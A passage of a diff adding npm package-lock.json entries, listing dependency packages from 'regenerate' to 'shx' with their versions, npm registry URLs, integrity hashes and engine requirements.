"https://registry.npmjs.org/regenerate/-/regenerate-1.4.0.tgz", + "integrity": "sha512-1G6jJVDWrt0rK99kBjvEtziZNCICAuvIPkSiUFIQxVP06RCVpq3dmDo2oi6ABpYaDYaTRr67BEhL8r1wgEZZKg==" + }, + "node_modules/regenerate-unicode-properties": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-8.2.0.tgz", + "integrity": "sha512-F9DjY1vKLo/tPePDycuH3dn9H1OTPIkVD9Kz4LODu+F2C75mgjAJ7x/gwy6ZcSNRAAkhNlJSOHRe8k3p+K9WhA==", + "dependencies": { + "regenerate": "^1.4.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", + "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==" + }, + "node_modules/regenerator-transform": { + "version": "0.10.1", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.10.1.tgz", + "integrity": "sha512-PJepbvDbuK1xgIgnau7Y90cwaAmO/LCLMI2mPvaXq2heGMR3aWW5/BQvYrhJ8jgmQjXewXvBjzfqKcVOmhjZ6Q==", + "dev": true, + "dependencies": { + "babel-runtime": "^6.18.0", + "babel-types": "^6.19.0", + "private": "^0.1.6" + } + }, + "node_modules/regex-cache": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/regex-cache/-/regex-cache-0.4.3.tgz", + "integrity": "sha1-mxpsNdTQ3871cRrmUejp09cRQUU=", + "dev": true, + "dependencies": { + "is-equal-shallow": "^0.1.3", + "is-primitive": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/regex-not": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", + "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", + "dependencies": { + "extend-shallow": "^3.0.2", + "safe-regex": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/regexpp": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-1.1.0.tgz", + "integrity": "sha512-LOPw8FpgdQF9etWMaAfG/WRthIdXJGYp4mJ2Jgn/2lpkbod9jPn0t9UqN7AxBOKNfzRbYyVfgc7Vk4t/MpnXgw==", + "dev": true, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/regexpu-core": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-2.0.0.tgz", + "integrity": "sha1-SdA4g3uNz4v6W5pCE5k45uoq4kA=", + "dev": true, + "dependencies": { + "regenerate": "^1.2.1", + "regjsgen": "^0.2.0", + "regjsparser": "^0.1.4" + } + }, + "node_modules/regjsgen": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.2.0.tgz", + "integrity": "sha1-bAFq3qxVT3WCP+N6wFuS1aTtsfc=", + "dev": true + }, + "node_modules/regjsparser": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.1.5.tgz", + "integrity": "sha1-fuj4Tcb6eS0/0K4ijSS9lJ6tIFw=", + "dev": true, + "dependencies": { + "jsesc": "~0.5.0" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/regjsparser/node_modules/jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + } + }, + "node_modules/remove-trailing-separator": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.0.2.tgz", + "integrity": "sha1-abBi2XhyetFNxrVrpKt3L9jXBRE=", + "dev": true + }, + "node_modules/repeat-element": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.2.tgz", + "integrity": "sha1-7wiaF40Ug7quTZPrmLT55OEdmQo=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", + "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=", + "engines": { + "node": ">=0.10" + } + }, + "node_modules/repeating": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz", + "integrity": "sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=", + "dev": true, + "dependencies": { + "is-finite": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/request": { + "version": "2.87.0", + "resolved": "https://registry.npmjs.org/request/-/request-2.87.0.tgz", + "integrity": "sha512-fcogkm7Az5bsS6Sl0sibkbhcKsnyon/jV1kF3ajGmF0c8HrttdKTPRT9hieOaQHA5HEq6r8OyWOo/o781C1tNw==", + "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142", + "dev": true, + "dependencies": { + "aws-sign2": "~0.7.0", + "aws4": "^1.6.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.5", + "extend": "~3.0.1", + "forever-agent": "~0.6.1", + "form-data": "~2.3.1", + "har-validator": "~5.0.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.17", + "oauth-sign": "~0.8.2", + "performance-now": "^2.1.0", + "qs": "~6.5.1", + "safe-buffer": "^5.1.1", + "tough-cookie": "~2.3.3", + "tunnel-agent": "^0.6.0", + "uuid": "^3.1.0" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/request/node_modules/tough-cookie": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.4.tgz", + "integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==", + "dev": true, + "dependencies": { + "punycode": "^1.4.1" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-1.2.1.tgz", + "integrity": "sha1-UpyczvJzgK3+yaL5ZbZJu+5jZBg=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-main-filename": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", + "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=", + "dev": true + }, + "node_modules/require-uncached": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/require-uncached/-/require-uncached-1.0.3.tgz", + "integrity": "sha1-Tg1W1slmL9MeQwEcS5WqSZVUIdM=", + "dev": true, + "dependencies": { + "caller-path": "^0.1.0", + "resolve-from": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/requireg": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/requireg/-/requireg-0.2.2.tgz", + "integrity": "sha512-nYzyjnFcPNGR3lx9lwPPPnuQxv6JWEZd2Ci0u9opN7N5zUEPIhY/GbL3vMGOr2UXwEg9WwSyV9X9Y/kLFgPsOg==", + "dev": true, + "dependencies": { + "nested-error-stacks": "~2.0.1", + "rc": "~1.2.7", + "resolve": "~1.7.1" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/requireg/node_modules/resolve": { + "version": "1.7.1", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.7.1.tgz", + "integrity": "sha512-c7rwLofp8g1U+h1KNyHL/jicrKg1Ek4q+Lr33AL65uZTinUZHe30D5HlyN5V9NW0JX1D5dXQ4jqW5l7Sy/kGfw==", + "dev": true, + "dependencies": { + "path-parse": "^1.0.5" + } + }, + "node_modules/resolve": { + "version": "1.20.0", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.20.0.tgz", + "integrity": "sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A==", + "dependencies": { + "is-core-module": "^2.2.0", + "path-parse": "^1.0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-1.0.1.tgz", + "integrity": "sha1-Jsv+k10a7uq7Kbw/5a6wHpPUQiY=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resolve-url": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", + "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=", + "deprecated": "https://github.com/lydell/resolve-url#deprecated" + }, + "node_modules/resq": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/resq/-/resq-1.11.0.tgz", + "integrity": "sha512-G10EBz+zAAy3zUd/CDoBbXRL6ia9kOo3xRHrMDsHljI0GDkhYlyjwoCx5+3eCC4swi1uCoZQhskuJkj7Gp57Bw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^2.0.1" + } + }, + "node_modules/resq/node_modules/fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha512-bCK/2Z4zLidyB4ReuIsvALH6w31YfAQDmXMqMx6FyfHqvBxtjC0eRumeSu4Bs3XtXwpyIywtSTrVT99BxY1f9w==", + "dev": true + }, + "node_modules/restore-cursor": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz", + "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=", + "dev": true, + "dependencies": { + "onetime": "^2.0.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/ret": { + "version": "0.1.15", + "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", + "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==", + "engines": { + "node": ">=0.12" + } + }, + "node_modules/retry": { + "version": "0.10.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.10.1.tgz", + "integrity": "sha1-52OI0heZLCUnUCQdPTlW/tmNj/Q=", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/rgb-regex": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/rgb-regex/-/rgb-regex-1.0.1.tgz", + "integrity": "sha1-wODWiC3w4jviVKR16O3UGRX+rrE=", + "dev": true + }, + "node_modules/rgb2hex": { + "version": "0.1.10", + "resolved": "https://registry.npmjs.org/rgb2hex/-/rgb2hex-0.1.10.tgz", + "integrity": "sha512-vKz+kzolWbL3rke/xeTE2+6vHmZnNxGyDnaVW4OckntAIcc7DcZzWkQSfxMDwqHS8vhgySnIFyBUH7lIk6PxvQ==", + "dev": true + }, + "node_modules/rgba-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/rgba-regex/-/rgba-regex-1.0.0.tgz", + "integrity": "sha1-QzdOLiyglosO8VI0YLfXMP8i7rM=", + "dev": true + }, + "node_modules/right-align": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/right-align/-/right-align-0.1.3.tgz", + "integrity": "sha1-YTObci/mo1FWiSENJOFMlhSGE+8=", + "dev": true, + "dependencies": { + "align-text": "^0.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", + "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", + "dependencies": { + "glob": "^7.0.5" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/rimraf/node_modules/glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/ripemd160": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.1.tgz", + "integrity": "sha1-D0WEKVxTo2KK9+bXmsohzlfRxuc=", + "dev": true, + "dependencies": { + "hash-base": "^2.0.0", + "inherits": "^2.0.1" + } + }, + "node_modules/run-async": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.3.0.tgz", + "integrity": "sha1-A3GrSuC91yDUFm19/aZP96RFpsA=", + "dev": true, + "dependencies": { + "is-promise": "^2.1.0" + }, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/run-queue": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/run-queue/-/run-queue-1.0.3.tgz", + "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=", + "dev": true, + "dependencies": { + "aproba": "^1.1.1" + } + }, + "node_modules/rx-lite": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/rx-lite/-/rx-lite-4.0.8.tgz", + "integrity": "sha1-Cx4Rr4vESDbwSmQH6S2kJGe3lEQ=", + "dev": true + }, + "node_modules/rx-lite-aggregates": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/rx-lite-aggregates/-/rx-lite-aggregates-4.0.8.tgz", + "integrity": "sha1-dTuHqJoRyVRnxKwWJsTvxOBcZ74=", + "dev": true, + "dependencies": { + "rx-lite": "*" + } + }, + "node_modules/rxjs": { + "version": "6.6.7", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz", + "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==", + "dev": true, + "dependencies": { + "tslib": "^1.9.0" + }, + "engines": { + "npm": ">=2.0.0" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/safe-json-parse": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/safe-json-parse/-/safe-json-parse-1.0.1.tgz", + "integrity": "sha1-PnZyPjjf3aE8mx0poeB//uSzC1c=", + "dev": true + }, + "node_modules/safe-regex": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", + "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", + "dependencies": { + "ret": "~0.1.10" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/sass-graph": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/sass-graph/-/sass-graph-2.2.4.tgz", + "integrity": "sha1-E/vWPNHK8JCLn9k0dq1DpR0eC0k=", + "dev": true, + "dependencies": { + "glob": "^7.0.0", + "lodash": "^4.0.0", + "scss-tokenizer": "^0.2.3", + "yargs": "^7.0.0" + }, + "bin": { + "sassgraph": "bin/sassgraph" + } + }, + "node_modules/sass-loader": { + "version": "6.0.7", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-6.0.7.tgz", + "integrity": "sha512-JoiyD00Yo1o61OJsoP2s2kb19L1/Y2p3QFcCdWdF6oomBGKVYuZyqHWemRBfQ2uGYsk+CH3eCguXNfpjzlcpaA==", + "dev": true, + "dependencies": { + "clone-deep": "^2.0.1", + "loader-utils": "^1.0.1", + "lodash.tail": "^4.1.1", + "neo-async": "^2.5.0", + "pify": "^3.0.0" + }, + "engines": { + "node": ">= 4.3 < 5.0.0 || >= 5.10" + }, + "peerDependencies": { + "node-sass": "^4.0.0", + "webpack": "^2.0.0 || ^3.0.0 || ^4.0.0" + } + }, + "node_modules/sass-loader/node_modules/pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/sax": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==", + "dev": true + }, + "node_modules/scheduler": { + "version": "0.23.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.0.tgz", + "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", + "peer": true, + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/schema-utils": { + "version": "0.4.5", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.5.tgz", + "integrity": "sha512-yYrjb9TX2k/J1Y5UNy3KYdZq10xhYcF8nMpAW6o3hy6Q8WSIEf9lJHG/ePnOBfziPM3fvQwfOwa13U/Fh8qTfA==", + "dev": true, + "dependencies": { + "ajv": "^6.1.0", + "ajv-keywords": "^3.1.0" + }, + "engines": { + "node": ">= 4.8.0 || >= 6.9.0 || >= 8.9.0" + }, + "peerDependencies": { + "webpack": "^2.0.0 || ^3.0.0 || ^4.0.0" + } + }, + "node_modules/schema-utils/node_modules/ajv": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.1.tgz", + "integrity": "sha512-pgZos1vgOHDiC7gKNbZW8eKvCnNXARv2oqrGQT7Hzbq5Azp7aZG6DJzADnkuSq7RH6qkXp4J/m68yPX/2uBHyQ==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^2.0.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.1" + } + }, + "node_modules/schema-utils/node_modules/ajv-keywords": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.2.0.tgz", + "integrity": "sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=", + "dev": true, + "peerDependencies": { + "ajv": "^6.0.0" + } + }, + "node_modules/schema-utils/node_modules/fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", + "dev": true + }, + "node_modules/schema-utils/node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "node_modules/scss-tokenizer": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/scss-tokenizer/-/scss-tokenizer-0.2.3.tgz", + "integrity": "sha1-jrBtualyMzOCTT9VMGQRSYR85dE=", + "dev": true, + "dependencies": { + "js-base64": "^2.1.8", + "source-map": "^0.4.2" + } + }, + "node_modules/scss-tokenizer/node_modules/source-map": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz", + "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", + "dev": true, + "dependencies": { + "amdefine": ">=0.0.4" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/send": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", + "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", + "peer": true, + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "peer": true + }, + "node_modules/send/node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "peer": true, + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/send/node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "peer": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/serialize-error": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-2.1.0.tgz", + "integrity": "sha512-ghgmKt5o4Tly5yEG/UJp8qTd0AN7Xalw4XBtDEKP655B699qMEtra1WlXeE6WIvdEG481JvRxULKsInq/iNysw==", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/serialize-javascript": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-1.5.0.tgz", + "integrity": "sha512-Ga8c8NjAAp46Br4+0oZ2WxJCwIzwP60Gq1YPgU+39PiTVxyed/iKE/zyZI6+UlVYH5Q4PaQdHhcegIFPZTUfoQ==", + "dev": true + }, + "node_modules/serve-static": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", + "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", + "peer": true, + "dependencies": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.18.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=" + }, + "node_modules/set-immediate-shim": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz", + "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/set-value": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.0.tgz", + "integrity": "sha512-hw0yxk9GT/Hr5yJEYnHNKYXkIA8mVJgd9ditYZCe16ZczcaELYYcfvaXesNACk2O8O0nTiPQcQhGUQj8JLzeeg==", + "deprecated": "Critical bug fixed in v3.0.1, please upgrade to the latest version.", + "dependencies": { + "extend-shallow": "^2.0.1", + "is-extendable": "^0.1.1", + "is-plain-object": "^2.0.3", + "split-string": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/set-value/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", + "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=" + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "peer": true + }, + "node_modules/sha.js": { + "version": "2.4.8", + "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.8.tgz", + "integrity": "sha1-NwaMLEdra69ALRSknGf1l5IfY08=", + "dev": true, + "dependencies": { + "inherits": "^2.0.1" + }, + "bin": { + "sha.js": "bin.js" + } + }, + "node_modules/shallow-clone": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-1.0.0.tgz", + "integrity": "sha512-oeXreoKR/SyNJtRJMAKPDSvd28OqEwG4eR/xc856cRGBII7gX9lvAqDxusPm0846z/w/hWYjI1NpKwJ00NHzRA==", + "dev": true, + "dependencies": { + "is-extendable": "^0.1.1", + "kind-of": "^5.0.0", + "mixin-object": "^2.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shallow-clone/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shasum": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/shasum/-/shasum-1.0.2.tgz", + "integrity": "sha1-5wEjENj0F/TetXEhUOVni4euVl8=", + "dev": true, + "dependencies": { + "json-stable-stringify": "~0.0.0", + "sha.js": "~2.4.4" + } + }, + "node_modules/shebang-command": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", + "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", + "dependencies": { + "shebang-regex": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shebang-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", + "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shell-quote": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.0.tgz", + "integrity": "sha512-QHsz8GgQIGKlRi24yFc6a6lN69Idnx634w49ay6+jA5yFh7a1UY+4Rp6HPx/L/1zcEDPEij8cIsiqR6bQsE5VQ==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/shelljs": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/shelljs/-/shelljs-0.3.0.tgz", + "integrity": "sha1-NZbmMHp4FUT1kfN9phg2DzHbV7E=", + "dev": true, + "bin": { + "shjs": "bin/shjs" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/shx": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/shx/-/shx-0.2.2.tgz", + "integrity": "sha1-CjBNAgsO3xMGrYFXDoDwNG31ijk=", + "dev": true, + 